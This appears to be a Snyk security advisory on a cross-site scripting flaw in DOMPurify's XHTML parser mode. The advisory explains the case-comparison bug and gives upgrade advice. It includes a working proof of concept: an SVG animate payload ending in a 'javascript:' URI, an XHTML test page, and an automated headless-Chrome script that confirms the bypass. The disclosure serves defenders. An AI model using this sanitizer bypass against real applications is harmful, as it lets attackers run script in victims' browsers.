Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade org.webjars.npm:dompurify to version 3.4.17 or higher.
org.webjars.npm:dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the _sanitizeAttributes function when PARSER_MEDIA_TYPE is set to application/xhtml+xml. In XHTML mode, transformCaseFunc is the identity function rather than stringToLowerCase, so the guard that removes attributeName attributes whose value contains href compares the preserved-case name attributeName against the lowercase literal "attributename" and never matches. An attacker can supply SVG content containing an <animate> or <set> element with attributeName="href" and a SMIL values list ending in a javascript: URI, which bypasses link filtering and executes a script in the victim's browser when the parent link is clicked.
Note: This is only exploitable when PARSER_MEDIA_TYPE: 'application/xhtml+xml' is explicitly set and the allowlist includes animate (or set) together with attributeName.
Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.
Config:
const cfg = {
PARSER_MEDIA_TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.
Input:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
Steps:
poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
PARSER_MEDIA_TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
attributeName="href" and values="x;javascript:alert(1)".document.getElementById('q').href.animVal returns "javascript:alert(1)".alert(1) runs.As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.
An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.
#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists <animate> + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`)
# DOMPURIFY_JS=/path/to/purify.js ./poc.sh
# CHROME=/path/to/chrome ./poc.sh
# needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
if [ -z "${DOMPURIFY_JS:-}" ]; then
(cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
"$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
"$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
[ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }
cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
'<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
'<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
const cfg = {
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
const clean = DOMPurify.sanitize(payload, cfg);
document.getElementById('sink').innerHTML = clean;
return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML<->XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
-e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
-e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"
cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
`--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
buf += d; let i;
while ((i = buf.indexOf('\0')) >= 0) {
const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
else if (m.method === 'Page.javascriptDialogOpening') {
dialogs.push(m.params.message);
send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
}
}
});
function send(method, params = {}, sessionId) {
return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
let vulnerable = false, xhtmlDoc = false;
const ver = async () => ev('DOMPurify.version');
for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
await send('Page.navigate', { url: page }, s); await sleep(500);
const docType = await ev('document.contentType');
if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
dialogs.length = 0;
const clean = await ev(`run(${JSON.stringify(mode)})`);
await sleep(400); // let the 0.01s animation apply (fill=freeze)
const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
await sleep(800);
console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}`);
console.log(` animated <a> href (animVal): ${JSON.stringify(href)}`);
console.log(` alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
if (mode === 'xhtml' && dialogs.length) vulnerable = true;
if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
}
console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
Note: Tested with DOMPurify 3.4.16 in Chrome 153 headless shell; also reproduced on 3.3.3, 3.3.1, and 3.2.7.
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.